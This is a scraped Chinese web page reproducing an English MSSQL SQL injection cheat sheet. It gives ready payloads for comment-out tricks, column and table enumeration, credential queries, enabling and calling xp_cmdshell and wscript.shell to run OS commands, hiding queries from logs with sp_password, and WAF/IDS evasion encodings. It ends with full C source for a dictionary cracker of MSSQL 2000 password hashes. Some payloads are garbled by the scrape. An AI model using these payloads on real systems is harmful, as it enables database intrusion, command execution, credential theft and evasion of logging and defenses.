首页 > 代码库 > SQL Injection 字典 - MSSQL

SQL Injection 字典 - MSSQL

MSSQL

Default Databases

pubsNot available on MSSQL 2005
modelAvailable in all versions
msdbAvailable in all versions
tempdbAvailable in all versions
northwindAvailable in all versions
information_schemaAvailalble from MSSQL 2000 and higher

Comment Out Query

The following can be used to comment out the rest of the query after your injection:

/*C-style comment
--SQL comment
;%00Nullbyte


Example:

      • SELECT * FROM Users WHERE username = ‘‘ OR 1=1 --‘ AND password = ‘‘;
      • SELECT * FROM Users WHERE id = ‘‘ UNION SELECT 1, 2, 3/*‘;

Testing Version

      • @@VERSION


Example:

      • True if MSSQL version is 2008.
      • SELECT * FROM Users WHERE id = ‘1‘ AND @@VERSION LIKE ‘%2008%‘;

Note:

  • Output will also contain the version of the Windows Operating System.

 

Database Credentials

Database..Tablemaster..syslogins, master..sysprocesses
Columnsname, loginame
Current Useruser, system_user, suser_sname(), is_srvrolemember(‘sysadmin‘)
Database CredentialsSELECT user, password FROM master.dbo.sysxlogins


Example:

      • Return current user:
      • SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;

 

      • Check if user is admin:
      • SELECT (CASE WHEN (IS_SRVROLEMEMBER(‘sysadmin‘)=1) THEN ‘1‘ ELSE ‘0‘ END);

Database Names

Database.Tablemaster..sysdatabases
Columnname
Current DBDB_NAME(i)


Examples:

      • SELECT DB_NAME(5);
      • SELECT name FROM master..sysdatabases;

Server Hostname

@@SERVERNAME
SERVERPROPERTY()


Examples:

      • SELECT SERVERPROPERTY(‘productversion‘)SERVERPROPERTY(‘productlevel‘)SERVERPROPERTY(‘edition‘);

Note:

  • SERVERPROPERTY() is available from MSSQL 2005 and higher.

 

Tables and Columns

Determining number of columns

ORDER BY n+1;
Example:

Given the query: SELECT username, password, permission FROM Users WHERE id = ‘1‘;

1‘ ORDER BY 1--True
1‘ ORDER BY 2--True
1‘ ORDER BY 3--True
1‘ ORDER BY 4--False - Query is only using 3 columns
-1‘ UNION SELECT 1,2,3--True

Note:

  • Keep incrementing the number until you get a False response.

 

 

The following can be used to get the columns in the current query.

GROUP BY / HAVING
Example:

Given the query: SELECT username, password, permission FROM Users WHERE id = ‘1‘;

1‘ HAVING 1=1--Column ‘Users.username‘ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1‘ GROUP BY username HAVING 1=1--Column ‘Users.password‘ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1‘ GROUP BY username, password HAVING 1=1--Column ‘Users.permission‘ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1‘ GROUP BY username, password, permission HAVING 1=1--No Error

Note:

  • No error will be returned once all columns have been included.

 

Retrieving Tables

We can retrieve the tables from two different databases, information_schema.tables or from master..sysobjects.

  • Union
  • Blind
  • Error
UNION SELECT name FROM master..sysobjects WHERE xtype=‘U‘

Note:

  • Xtype = ‘U‘ is for User-defined tables. You can use ‘V‘ for views.

 

Retrieving Columns

We can retrieve the columns from two different databases, information_schema.columns or masters..syscolumns.

  • Union
  • Blind
  • Error
UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = ‘tablename‘)

Retrieving Multiple Tables/Columns at once

The following 3 queries will create a temporary table/column and insert all the user-defined tables into it. It will then dump the table content and finish by deleting the table.

      • Create Temp Table/Column and Insert Data:
      • AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=‘:‘ SELECT @xy=@xy+‘ ‘+name FROM sysobjects WHERE xtype=‘U‘ AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
      • Dump Content:
      • AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
      • Delete Table:
      • AND 1=0; DROP TABLE TMP_DB;

An easier method is available starting with MSSQL 2005 and higher. The XML function path() works as a concatenator, allowing the retrieval of all tables with 1 query.

SELECT table_name %2b ‘, ‘ FROM information_schema.tables FOR XML PATH(‘‘)SQL Server 2005+

Note:

  • You can encode your query in hex to "obfuscate" your attack.
  • ‘ AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--

 

Avoiding the use of quotations

SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)

String Concatenation

SELECT CONCAT(‘a‘,‘a‘,‘a‘); (SQL SERVER 2012)
SELECT ‘a‘+‘d‘+‘mi‘+‘n‘;

Conditional Statements

IF
CASE


Examples:

      • IF 1=1 SELECT ‘true‘ ELSE SELECT ‘false‘;
      • SELECT CASE WHEN 1=1 THEN true ELSE false END;

Note:

  • IF cannot be used inside a SELECT statement.

 

Timing

      • WAITFOR DELAY ‘time_to_pass‘;
      • WAITFOR TIME ‘time_to_execute‘;


Example:

      • IF 1=1 WAITFOR DELAY ‘0:0:5‘ ELSE WAITFOR DELAY ‘0:0:0‘;

OPENROWSET Attacks

SELECT * FROM OPENROWSET(‘SQLOLEDB‘, ‘127.0.0.1‘;‘sa‘;‘p4ssw0rd‘, ‘SET FMTONLY OFF execute master..xp_cmdshell "dir"‘);

System Command Execution

Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.

      • EXEC master.dbo.xp_cmdshell ‘cmd‘;

 

Starting with version MSSQL 2005 and higher, xp_cmdshell is disabled by default, but can be activated with the following queries:

EXEC sp_configure ‘show advanced options‘, 1
EXEC sp_configure reconfigure
EXEC sp_configure ‘xp_cmdshell‘, 1
EXEC sp_configure reconfigure

 

Alternatively, you can create your own procedure to achieve the same results:

DECLARE @execmd INT
EXEC SP_OACREATE ‘wscript.shell‘, @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, ‘run‘, null, ‘%systemroot%\system32\cmd.exe /c‘

 

If the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command:

EXEC sp_configure ‘show advanced options‘, 1
EXEC sp_configure reconfigure
EXEC sp_configure ‘OLE Automation Procedures‘, 1
EXEC sp_configure reconfigure


Example:

      • Checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then proceeds to run the ‘dir‘ command and inserts the results into TMP_DB:
      • ‘ IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME=‘TMP_DB‘) DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N‘[dbo].[xp_cmdshell]‘) AND OBJECTPROPERTY (id, N‘IsExtendedProc‘) = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure ‘xp_cmdshell‘ IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=http://www.mamicode.com/1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell ‘dir‘ SELECT @a=‘‘ SELECT @a=Replace(@a%2B‘
      • Dump Content:
      • ‘ UNION SELECT tbl FROM TMP_DB--
      • Delete Table:
      • ‘ DROP TABLE TMP_DB--

SP_PASSWORD (Hiding Query)

Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.

      • SP_PASSWORD


Example:

      • ‘ AND 1=1--sp_password


Output:

-- ‘sp_password‘ was found in the text of this event.-- The text has been replaced with this comment for security reasons.					

Stacked Queries

MSSQL supports stacked queries.

Example:

      • ‘ AND 1=0 INSERT INTO ([column1], [column2]) VALUES (‘value1‘, ‘value2‘);

Fuzzing and Obfuscation

Allowed Intermediary Characters

The following characters can be used as whitespaces.

01Start of Heading
02Start of Text
03End of Text
04End of Transmission
05Enquiry
06Acknowledge
07Bell
08Backspace
09Horizontal Tab
0ANew Line
0BVertical Tab
0CNew Page
0DCarriage Return
0EShift Out
0FShift In
10Data Link Escape
11Device Control 1
12Device Control 2
13Device Control 3
14Device Control 4
15Negative Acknowledge
16Synchronous Idle
17End of Transmission Block
18Cancel
19End of Medium
1ASubstitute
1BEscape
1CFile Separator
1DGroup Separator
1ERecord Separator
1FUnit Separator
20Space
25%


Examples:

      • S%E%L%E%C%T%01column%02FROM%03table;
      • A%%ND 1=%%%%%%%%1;

Note:

  • The percentage signs in between keywords is only possible on ASP(x) web applications.

 

 

The following characters can be also used to avoid the use of spaces.

22"
28(
29)
5B[
5D]


Examples:

      • UNION(SELECT(column)FROM(table));
      • SELECT"table_name"FROM[information_schema].[tables];

Allowed Intermediary Characters after AND/OR

01 - 20Range
21!
2B+
2D-
2E.
5C\
7E~


Example:

      • SELECT 1FROM[table]WHERE\1=\1AND\1=\1;

Note:

  • The backslash does not seem to work with MSSQL 2000.

 

Encodings

Encoding your injection can sometimes be useful for WAF/IDS evasion.

URL EncodingSELECT %74able_%6eame FROM information_schema.tables;
Double URL EncodingSELECT %2574able_%256eame FROM information_schema.tables;
Unicode EncodingSELECT %u0074able_%u6eame FROM information_schema.tables;
Invalid Hex Encoding (ASP)SELECT %tab%le_%na%me FROM information_schema.tables;
Hex Encoding‘ AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);--
HTML Entities (Needs to be verified)%26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B

Password Hashing

Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercase version.

0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457

Password Cracking

A Metasploit module for JTR can be found here.

MSSQL 2000 Password Cracker

This tool is designed to crack Microsoft SQL Server 2000 passwords.

/////////////////////////////////////////////////////////////////////////////////////           SQLCrackCl////           This will perform a dictionary attack against the//           upper-cased hash for a password. Once this//           has been discovered try all case variant to work//           out the case sensitive password.////           This code was written by David Litchfield to//           demonstrate how Microsoft SQL Server 2000//           passwords can be attacked. This can be//           optimized considerably by not using the CryptoAPI.////           (Compile with VC++ and link with advapi32.lib//           Ensure the Platform SDK has been installed, too!)////////////////////////////////////////////////////////////////////////////////////#include <stdio.h>#include <windows.h>#include <wincrypt.h>FILE *fd=NULL;char *lerr = "\nLength Error!\n";int wd=0;int OpenPasswordFile(char *pwdfile);int CrackPassword(char *hash);int main(int argc, char *argv[]){	         int err = 0;	    if(argc !=3)	              {	                        printf("\n\n*** SQLCrack *** \n\n");	                        printf("C:\\>%s hash passwd-file\n\n",argv[0]);	                        printf("David Litchfield (david@ngssoftware.com)\n");	                        printf("24th June 2002\n");	                        return 0;	              }	    err = OpenPasswordFile(argv[2]);	    if(err !=0)	     {	       return printf("\nThere was an error opening the password file %s\n",argv[2]);	     }	    err = CrackPassword(argv[1]);	    fclose(fd);	    printf("\n\n%d",wd);	    return 0;}int OpenPasswordFile(char *pwdfile){	    fd = fopen(pwdfile,"r");	    if(fd)	              return 0;	    else	              return 1;}int CrackPassword(char *hash){	    char phash[100]="";	    char pheader[8]="";	    char pkey[12]="";	    char pnorm[44]="";	    char pucase[44]="";	    char pucfirst[8]="";	    char wttf[44]="";	    char uwttf[100]="";	    char *wp=NULL;	    char *ptr=NULL;	    int cnt = 0;	    int count = 0;	    unsigned int key=0;	    unsigned int t=0;	    unsigned int address = 0;	    unsigned char cmp=0;	    unsigned char x=0;	    HCRYPTPROV hProv=0;	    HCRYPTHASH hHash;DWORD hl=100;unsigned char szhash[100]="";int len=0;if(strlen(hash) !=94)	      {	              return printf("\nThe password hash is too short!\n");	      }if(hash[0]==0x30 && (hash[1]== ‘x‘ || hash[1] == ‘X‘))	      {	              hash = hash + 2;	              strncpy(pheader,hash,4);	              printf("\nHeader\t\t: %s",pheader);	              if(strlen(pheader)!=4)	                        return printf("%s",lerr);	              hash = hash + 4;	              strncpy(pkey,hash,8);	              printf("\nRand key\t: %s",pkey);	              if(strlen(pkey)!=8)	                        return printf("%s",lerr);	              hash = hash + 8;	              strncpy(pnorm,hash,40);	              printf("\nNormal\t\t: %s",pnorm);	              if(strlen(pnorm)!=40)	                        return printf("%s",lerr);	              hash = hash + 40;	              strncpy(pucase,hash,40);	              printf("\nUpper Case\t: %s",pucase);	              if(strlen(pucase)!=40)	                        return printf("%s",lerr);	              strncpy(pucfirst,pucase,2);	              sscanf(pucfirst,"%x",&cmp);	      }else	      {	              return printf("The password hash has an invalid format!\n");	      }printf("\n\n       Trying...\n");if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL                 ,0))  {	      if(GetLastError()==NTE_BAD_KEYSET)	              {	                        // KeySet does not exist. So create a new keyset	                        if(!CryptAcquireContext(&hProv,	                                             NULL,	                                             NULL,	                                             PROV_RSA_FULL,	                                             CRYPT_NEWKEYSET ))	                           {	                                    printf("FAILLLLLLL!!!");	                                    return FALSE;	                           }	       }}while(1)	     {	       // get a word to try from the file	       ZeroMemory(wttf,44);	       if(!fgets(wttf,40,fd))	          return printf("\nEnd of password file. Didn‘t find the password.\n");	       wd++;	       len = strlen(wttf);	       wttf[len-1]=0x00;	       ZeroMemory(uwttf,84);	       // Convert the word to UNICODE	       while(count < len)	                 {	                           uwttf[cnt]=wttf[count];	                           cnt++;	                           uwttf[cnt]=0x00;	                           count++;	                           cnt++;	                 }	       len --;	       wp = &uwttf;	       sscanf(pkey,"%x",&key);	       cnt = cnt - 2;	       // Append the random stuff to the end of	       // the uppercase unicode password	       t = key >> 24;	       x = (unsigned char) t;	       uwttf[cnt]=x;	       cnt++;	       t = key << 8;	       t = t >> 24;	     x = (unsigned char) t;	     uwttf[cnt]=x;	     cnt++;	     t = key << 16;	     t = t >> 24;	     x = (unsigned char) t;	     uwttf[cnt]=x;	     cnt++;	     t = key << 24;	     t = t >> 24;	     x = (unsigned char) t;	     uwttf[cnt]=x;	     cnt++;// Create the hashif(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))	     {	               printf("Error %x during CryptCreatHash!\n", GetLastError());	               return 0;	     }if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))	     {	               printf("Error %x during CryptHashData!\n", GetLastError());	               return FALSE;	     }CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);// Test the first byte only. Much quicker.if(szhash[0] == cmp)	     {	               // If first byte matches try the rest	               ptr = pucase;	               cnt = 1;	               while(cnt < 20)	               {	                           ptr = ptr + 2;	                           strncpy(pucfirst,ptr,2);	                           sscanf(pucfirst,"%x",&cmp);	                           if(szhash[cnt]==cmp)	                                    cnt ++;	                           else	                           {	                                    break;	                           }	               }	               if(cnt == 20)	               {	                    // We‘ve found the password	                    printf("\nA MATCH!!! Password is %s\n",wttf);	                    return 0;	                 }	         }	         count = 0;	         cnt=0;	       }  return 0;}